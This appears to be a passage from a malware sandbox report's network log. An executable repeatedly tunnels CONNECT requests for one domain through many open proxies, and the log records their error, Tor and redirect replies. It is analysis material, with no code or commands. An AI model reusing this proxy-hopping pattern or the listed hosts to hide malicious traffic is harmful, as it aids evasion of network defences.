Feb 23, 2024 09:45:23.315546036 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.4	52206	144.24.77.90	55555	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.066214085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.4	50739	121.229.101.96	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.078775883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.4	52845	107.161.50.42	6401	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.083961010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.4	52782	114.108.177.104	60984	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.086376905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.4	50736	103.79.152.204	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.087477922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.4	52757	58.246.58.150	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.095385075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.423716068 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.4	52854	162.159.242.7	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.095385075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.184454918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.4	49988	41.65.236.37	1976	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.099025011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.169744015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292490005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.334914923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.334295034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:59.334268093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:11.458997965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.4	52789	119.39.68.79	2323	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.101618052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.4	50873	185.23.118.103	60429	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.101789951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178199053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178685904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.178689003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.4	52842	198.49.68.80	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.103219986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.223685026 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:24 GMT Server: Apache Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 64 66 67 68 68 73 64 66 67 68 40 61 73 64 66 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at dfghhsdfgh@asdf.com to inform them of the time this e
Feb 23, 2024 09:45:24.223716974 CET	303	IN	Data Raw: 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 Data Ascii: rror occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.4	50047	47.243.177.210	8088	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.123214960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.169842005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292500973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.4	50777	49.249.155.3	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.129887104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178215027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680305958 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:30 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Feb 23, 2024 09:45:30.680417061 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.4	52776	188.166.197.129	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.129894972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.4	52754	103.49.202.250	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.173336983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.4	52784	203.154.39.146	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.177862883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.4	52852	184.170.245.148	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.197073936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.4	50942	51.222.241.157	2563	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.201910019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365648985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.4	52267	103.146.196.97	32650	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.202033043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.271019936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292629004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.4	50772	27.147.220.110	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.209695101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.993757963 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.4	52860	54.38.179.203	60406	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.216376066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.829823971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.350119114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.370228052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.342820883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292546988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.4	50231	91.121.89.41	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.226087093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365672112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.366089106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.366281033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.4	52821	161.189.49.26	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.226089001 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:23.858731985 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0
Feb 23, 2024 09:45:24.287950993 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:24.288839102 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.4	52866	72.210.221.197	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.226213932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.4	52867	212.47.245.57	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.226392984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.735078096 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.4	52864	31.170.22.127	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
